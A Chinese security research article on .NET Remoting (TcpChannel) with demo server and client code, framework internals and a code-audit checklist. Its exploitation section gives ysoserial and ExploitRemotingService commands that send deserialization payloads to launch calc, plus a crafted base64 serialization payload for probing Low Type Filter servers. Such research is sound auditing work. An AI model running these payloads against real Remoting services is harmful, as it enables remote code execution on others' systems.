.Net Remoting 系列一
前言:笔者在代码审计时碰到许多以.Net Remoting技术开发的应用如SolarWinds、VeeamBackup、Ivanti等产品,尽管随着 WCF 和 gRPC 等更现代化技术的兴起,.NET Remoting 已逐渐淡出主流,但是依然有其研究的价值,本次主要以TcpChannel为主分析其工作原理、应用场景,后续会通过两个漏洞介绍.Net Remoting在不同场景下的利用姿势和挖掘思路
文章首发于奇安信攻防社区https://forum.butian.net/share/3989
简介
.NET Remoting 是通过通道(Channel)实现不同应用程序域(AppDomain)之间对象通信的技术核心,依赖程序集 System.Runtime.Remoting.dll 提供支持。通道负责在进程间或网络上传输序列化后的对象数据,是 Remoting 架构的关键组件。
在 .NET Remoting 中,主要支持以下几种通道类型:
TcpChannel
位于命名空间System.Runtime.Remoting.Channels.Tcp
,提供高效的二进制传输,适合局域网内低延迟、高吞吐的场景。HttpChannel
位于命名空间System.Runtime.Remoting.Channels.Http
,基于 HTTP 协议传输数据,支持 SOAP 格式化,适合跨防火墙或需要更通用通信协议的应用。IpcChannel
位于命名空间System.Runtime.Remoting.Channels.Ipc
,基于命名管道(Named Pipe),为同一台机器上的进程间通信提供高效、轻量级的解决方案。自定义通道(Custom Channel)
通过实现IChannelReceiver
、IChannel
和ISecurableChannel
接口,开发者可以设计满足特定需求的自定义通道,例如支持特殊传输协议或安全策略的通信。
通过上述通道类型,.NET Remoting 为分布式应用提供了灵活的通信方式,并允许根据场景需求选择合适的传输层。
.Net Remoting demo
以TcpChannel为例写一个服务端(TcpServerChannel)和客户端(TcpClientChannel)
远程对象MBR
using System;
using System.Runtime.Serialization;
namespace RemotableServer
{
[Serializable]
public class RemoteObject1 : MarshalByRefObject
{
private int callCount = 0;
public Guid Id { get; private set; }
public string Tag { get; private set; }
public RemoteObject1(Guid id, string hint, string tag)
{
this.Id = id;
this.Tag = tag;
}
public RemoteObject1()
{
}
public int GetCount()
{
Console.WriteLine("GetCount was called.");
callCount++;
return callCount;
}
protected RemoteObject1(SerializationInfo info, StreamingContext context)
{
this.Id = (Guid)info.GetValue("Id", typeof(Guid));
this.Tag = "tag";
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.AddValue("Id", this.Id);
info.AddValue("Tag", this.Tag);
}
}
}
服务端
- Channel Sink Provider(实现IServerChannelSinkProvider)并指定TypeFilterLevel值
- ChannelServices.RegisterChannel()注册ServerChannel(实现IChannelReceiver, IChannel)可自定义。
- RemotingConfiguration.RegisterWellKnownServiceType注册ObjectUri以及绑定的对象
using System;
using System.Collections;
using System.IO;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
namespace RemotableServer
{
class RemoteType : MarshalByRefObject
{
}
internal class Program
{
public static void Main(string[] args)
{
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Low
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
String object_uri = "RemotableServer";
TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary);
ChannelServices.RegisterChannel(tcpServerChannel, false);
// RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteType), "RemotableServer", WellKnownObjectMode.Singleton);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject1), object_uri, WellKnownObjectMode.Singleton);
Console.WriteLine("Server Activated at tcp://localhost:{0}/{1}",hashtables["port"], object_uri);
Console.ReadKey();
}
}
}
客户端
客户端调用可通过TcpClientChannel、Activator、TcpChannel等方式调用远程对象
//Activator调用
string serverAddress = "tcp://localhost:9999/RemotableServer";
RemotableServer.RemoteObject1 obj1 = (RemotableServer.RemoteObject1)Activator.GetObject(typeof(RemotableServer.RemoteObject1), serverAddress);
Console.WriteLine("get string:\t{0}", obj1.GetCount());
Console.WriteLine("get string:\t{0}", obj1.GetCount());
Console.WriteLine("get string:\t{0}", obj1.GetCount());
//TcpClientChannel
TcpClientChannel clientChannel = new TcpClientChannel();
ChannelServices.RegisterChannel(clientChannel);
RemotingConfiguration.RegisterWellKnownClientType(
typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer"
);
RemotableServer.RemoteObject1 remoteObject1 = new RemotableServer.RemoteObject1();
Console.WriteLine(remoteObject1.GetCount());
// TcpChannel
TcpChannel channel = new TcpChannel();
ChannelServices.RegisterChannel(channel, false);
RemotableServer.RemoteObject1 remoteObject = (RemotableServer.RemoteObject1)RemotingServices.Connect(typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer");
Console.WriteLine(remoteObject.GetCount());
运行效果:
>RemotableObjects.exe
get string: 1
get string: 2
get string: 3
.Net Remoting 实现
这里大致分析下其代码实现,如果碰上自定义的ServerChannel能够快速理清代码逻辑。 TcpServerChannel和TcpClientChannel分别实现了IChannelReceiver、IChannelSender,首先来看看TcpServerChannel,其构造函数调用SetupChannel方法开启Channel
private void SetupChannel()
{
//是否需要认证
if (this.authSet && !this._secure)
{
throw new RemotingException(CoreChannel.GetResourceString("Remoting_Tcp_AuthenticationConfigServer"));
}
//存储远程通道的通道数据。
this._channelData = new ChannelDataStore(null);
if (this._port > 0)
{
this._channelData.ChannelUris = new string[1];
this._channelData.ChannelUris[0] = this.GetChannelUri();
}
//sinkprovider为空使用默认的sinkProviderChain
if (this._sinkProvider == null)
{
this._sinkProvider = this.CreateDefaultServerProviderChain();
}
CoreChannel.CollectChannelDataFromServerSinkProviders(this._channelData, this._sinkProvider);
//配置sinkProviderChain
IServerChannelSink nextSink = ChannelServices.CreateServerChannelSinkChain(this._sinkProvider, this);
this._transportSink = new TcpServerTransportSink(nextSink, this._impersonate);
//监听
this._acceptSocketCallback = new AsyncCallback(this.AcceptSocketCallbackHelper);
if (this._port >= 0)
{
this._tcpListener = new ExclusiveTcpListener(this._bindToAddr, this._port);
this.StartListening(null);
}
}
如上,主要关注Channel Sinks( transport sink->formatter sinks->dispatch sink ),这里引用一张图
TcpServerChannel的默认链
TcpServerTransportSink → BinaryServerFormatterSink → SoapServerFormatterSink → DispatchChannelSink
TcpClientChannel的默认链是BinaryClientFormatterSink
→ TcpClientTransportSink
,代码如下
private IClientChannelSinkProvider CreateDefaultClientProviderChain()
{
IClientChannelSinkProvider clientProviderChain = (IClientChannelSinkProvider) new BinaryClientFormatterSinkProvider();
clientProviderChain.Next = (IClientChannelSinkProvider) new TcpClientTransportSinkProvider(this._prop);
return clientProviderChain;
}
利用ExploitRemotingService打一遍,调用堆栈如图
整个调用过程在经过Channel Sinks处理之后最终反序列化RCE,看下大致数据流
//TcpServerTransportSink
internal void ServiceRequest(object state)
{
TcpServerSocketHandler state1 = (TcpServerSocketHandler) state;
ITransportHeaders requestHeaders = state1.ReadHeaders();
Stream requestStream = state1.GetRequestStream();
......
serverProcessing = this._nextSink.ProcessMessage((IServerChannelSinkStack) sinkStack, (IMessage) null, requestHeaders, requestStream, out IMessage _, out responseHeaders, out responseStream);
// BinaryServerFormatterSink
public ServerProcessing ProcessMessage(
IServerChannelSinkStack sinkStack,
IMessage requestMsg,
ITransportHeaders requestHeaders,
Stream requestStream,
out IMessage responseMsg,
out ITransportHeaders responseHeaders,
out Stream responseStream)
{
.......
requestMsg = CoreChannel.DeserializeBinaryRequestMessage(str, requestStream, this._strictBinding, this.TypeFilterLevel);
// CoreChannel
internal static IMessage DeserializeBinaryRequestMessage(
string objectUri,
Stream inputStream,
bool bStrictBinding,
TypeFilterLevel securityLevel)
{
BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
binaryFormatter.FilterLevel = securityLevel;
CoreChannel.UriHeaderHandler uriHeaderHandler = new CoreChannel.UriHeaderHandler(objectUri);
return (IMessage) binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(uriHeaderHandler.HeaderHandler));
}
比较关键的点就是sinkProviderChains以及处理消息的逻辑(ProcessMessage)以及上面未提及到的认证的逻辑(IAuthorizeRemotingConnection
后面会遇到,这里不展开说了)。
代码审计需要注意什么
总结下从代码审计视角需要注意的问题
- 注册的Channel类型(搜ChannelServices#RegisterChannelInternal的调用)
- sinkProviderChains
- TypeFilterLevel
- 注册的objecturi(搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
- 处理消息逻辑(
IServerChannelSink#ProcessMessage
的实现)
.Net Remoting 利用
Full Type Filter
最初是由James Forshaw发现的,当TypeFilterLevel的值为Full时,参考Full允许ISerializable
和MarshalByRefObject
作为参数传递。在ExploitRemotingService中提供了两种利用方式,一种是直接发送原始数据
ysoserial.exe -g DataSet -f BinaryFormatter -c calc
ExploitRemotingService.exe tcp://localhost:9999/RemotableServer raw yso_base64
还有一种就是这儿提到的,但是会有文件落地。没有深入调试分析,大致原理见下图 这里不详细介绍了,可以详细读读该文章的前半部分。
Low Type Filter
启用Low Type Filter之后的绕过方式就是上面提到文章中的后半部分(绕过CAS和MBR类型检查),利用
ExploitRemotingService.exe -uselease -autodir tcp://127.0.0.1:12345/remoteserver exec calc
本地测试之后该工具并不适用于TcpServerChannel只适用于TcpChannel,当然发送raw数据还是可以的。后面翻到James Forshaw文章中提到过
This entire exploit is implemented behind the _uselease_ option. It works in the same way as _useser_ but should work even if the server is running _Low Type Filter_ mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a _TcpChannel_ or _IpcChannel_ then that should be fine, but if it just sets up a _TcpServerChannel_ it might not work. Also you still need to know the URI of the server and bypass any authentication requirements.
八月底偶然发现cbwang505师傅写了一个通用的EXP工具,和James Forshaw的绕过方式由很大不同。
前者利用FileInfo/DirectoryInfo
写入程序集然后直接调用,后者通过SortedSet<Array>
利用链加载程序集间接调用( XamlReader.Parse
)实现RCE( 无文件落地 ),可参考 这篇文章。
为了测试效果更加直观,原工具的基础上修改了部分代码(PS:默认开启secure),可以看到执行成功后当前AppDomain的程序集多了一个FakeAsm.dll,不足的一点是在调用时需要遍历所有程序集找到这个恶意程序集,应该还有优化的空间。效果:
总结
现在的应用都会做一些防护措施,即使TypeFilterLevel的值为Full时也不一定能直接利用(比如配置了白名单),这时候就需要关注MBR对象的方法是否存在一些直接可调用的危险方法。
启用Low Type Filter之后呢?虽然会检查CAS和MBR,但是依然能够反序列化一些符合条件的对象,可以以序列化构造函数为跳板找到调用的危险方法。
将上面的RemoteObject1类改为实现ISerializable,RemoterServer开启Low Type Filter,构造序列化数据
public static void Main(string[] args)
{
// low type serial test
string[] s = new[] { "aaa" };
RemoteObject1Wrapper payload = new RemoteObject1Wrapper(s);
String poc = Convert.ToBase64String((byte[])Serialize(payload));
Console.WriteLine(poc);
}
[Serializable]
public class RemoteObject1Wrapper : ISerializable
{
private string[] _fakeList;
public RemoteObject1Wrapper(string[] _fakeList)
{
this._fakeList = _fakeList;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(RemotableServer.RemoteObject1));
info.AddValue("Id", Guid.NewGuid());
info.AddValue("Tag", "aaaaa");
Console.WriteLine(_fakeList);
}
}
//输出 AAEAAAD/////AQAAAAAAAAAMAgAAAEZSZW1vdGFibGVTZXJ2ZXIsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAdUmVtb3RhYmxlU2VydmVyLlJlbW90ZU9iamVjdDECAAAAAklkA1RhZwMBC1N5c3RlbS5HdWlkAgAAAAT9////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgLgVNlrimbzS73mwXYQSBjyBgQAAAAFYWFhYWEL
打断点,通过ExploitRemotingService发送序列化数据,效果如下 可以通过这种方式找找黑白名单中是否有可利用的类。
参考
https://learn.microsoft.com/en-gb/previous-versions/dotnet/netframework-4.0/5dxse167(v=vs.100) https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html https://bbs.kanxue.com/thread-282934.htm#msg_header_h2_5